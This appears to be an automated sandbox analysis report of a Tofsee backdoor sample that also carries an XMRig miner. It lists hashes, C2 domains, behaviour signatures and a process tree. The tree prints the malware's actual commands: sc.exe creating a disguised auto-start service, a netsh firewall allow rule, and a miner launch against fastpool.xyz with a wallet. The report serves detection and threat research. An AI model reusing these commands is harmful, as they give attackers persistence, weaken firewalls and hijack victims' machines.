Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/07/2023, 07:57

General

  • Target

    file.exe

  • Size

    302KB

  • MD5

    07135a44fc7c5dd32f319cc1af846727

  • SHA1

    707ed617403fce8b4d1a7f6ab65abec870dce296

  • SHA256

    7a1944435e8900ca716dc4b1d11f5b3924c11cd5da9c431e583c5a4d3e34f890

  • SHA512

    977c0837b0ff0f7d967b1d524ec0f4b32b32baf0b1b7eabb24292f7475daa28f2cfc5c268f89b461e557ce8105476ca191b5a983b4f5f0188ee422644dc5900e

  • SSDEEP

    6144:ITLJm67jBDNsD/BQ3T2l2imzgIjn8M4gTTY:II67jz4Juk+jnX4I

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vcolmdlj\
      2⤵
        PID:1372
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dbqyrhcy.exe" C:\Windows\SysWOW64\vcolmdlj\
        2⤵
          PID:4120
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vcolmdlj binPath= "C:\Windows\SysWOW64\vcolmdlj\dbqyrhcy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4204
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vcolmdlj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vcolmdlj
          2⤵
          • Launches sc.exe
          PID:5108
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4672
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 1176
          2⤵
          • Program crash
          PID:832
      • C:\Windows\SysWOW64\vcolmdlj\dbqyrhcy.exe
        C:\Windows\SysWOW64\vcolmdlj\dbqyrhcy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3432
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:740
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3380
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 512
          2⤵
          • Program crash
          PID:2144
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2480 -ip 2480
        1⤵
          PID:2184
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3432 -ip 3432
          1⤵
            PID:1528

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dbqyrhcy.exe

            Filesize

            10.5MB

            MD5

            015bb1577391afb643397ac9d401c4a6

            SHA1

            b61d2a9aee92a2d73675dd1fea9e9449b1c393ee

            SHA256

            ed05ad978d0b4b8598546d8eaf74e79460f6c82922fa6b95d684b029f6f7aea7

            SHA512

            2a051a6724e9f51595fe064c6a00ca64486892921bea449ffd4e240f4689df9abecb7eb4a5dbfa4e81833f3bad770a11b7be63e3bfb615e4a5554ac8586416df

          • C:\Windows\SysWOW64\vcolmdlj\dbqyrhcy.exe

            Filesize

            10.5MB

            MD5

            015bb1577391afb643397ac9d401c4a6

            SHA1

            b61d2a9aee92a2d73675dd1fea9e9449b1c393ee

            SHA256

            ed05ad978d0b4b8598546d8eaf74e79460f6c82922fa6b95d684b029f6f7aea7

            SHA512

            2a051a6724e9f51595fe064c6a00ca64486892921bea449ffd4e240f4689df9abecb7eb4a5dbfa4e81833f3bad770a11b7be63e3bfb615e4a5554ac8586416df

          • memory/740-167-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-168-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-170-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-144-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/740-184-0x00000000017F0000-0x00000000017F7000-memory.dmp

            Filesize

            28KB

          • memory/740-145-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/740-146-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/740-147-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/740-149-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/740-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/740-153-0x0000000000B90000-0x0000000000B96000-memory.dmp

            Filesize

            24KB

          • memory/740-156-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-159-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-160-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-161-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-162-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-163-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-164-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-165-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-166-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-139-0x0000000000400000-0x0000000000415000-memory.dmp

            Filesize

            84KB

          • memory/740-183-0x0000000007240000-0x000000000764B000-memory.dmp

            Filesize

            4.0MB

          • memory/740-180-0x0000000007240000-0x000000000764B000-memory.dmp

            Filesize

            4.0MB

          • memory/740-169-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-171-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-172-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-173-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-174-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-175-0x0000000000BA0000-0x0000000000BB0000-memory.dmp

            Filesize

            64KB

          • memory/740-176-0x00000000017E0000-0x00000000017E5000-memory.dmp

            Filesize

            20KB

          • memory/740-179-0x00000000017E0000-0x00000000017E5000-memory.dmp

            Filesize

            20KB

          • memory/2480-135-0x0000000001AB0000-0x0000000001AC3000-memory.dmp

            Filesize

            76KB

          • memory/2480-143-0x0000000000400000-0x00000000017EC000-memory.dmp

            Filesize

            19.9MB

          • memory/3380-188-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-193-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-194-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-195-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-196-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-198-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-197-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3380-199-0x00000000004B0000-0x00000000005A1000-memory.dmp

            Filesize

            964KB

          • memory/3432-142-0x0000000000400000-0x00000000017EC000-memory.dmp

            Filesize

            19.9MB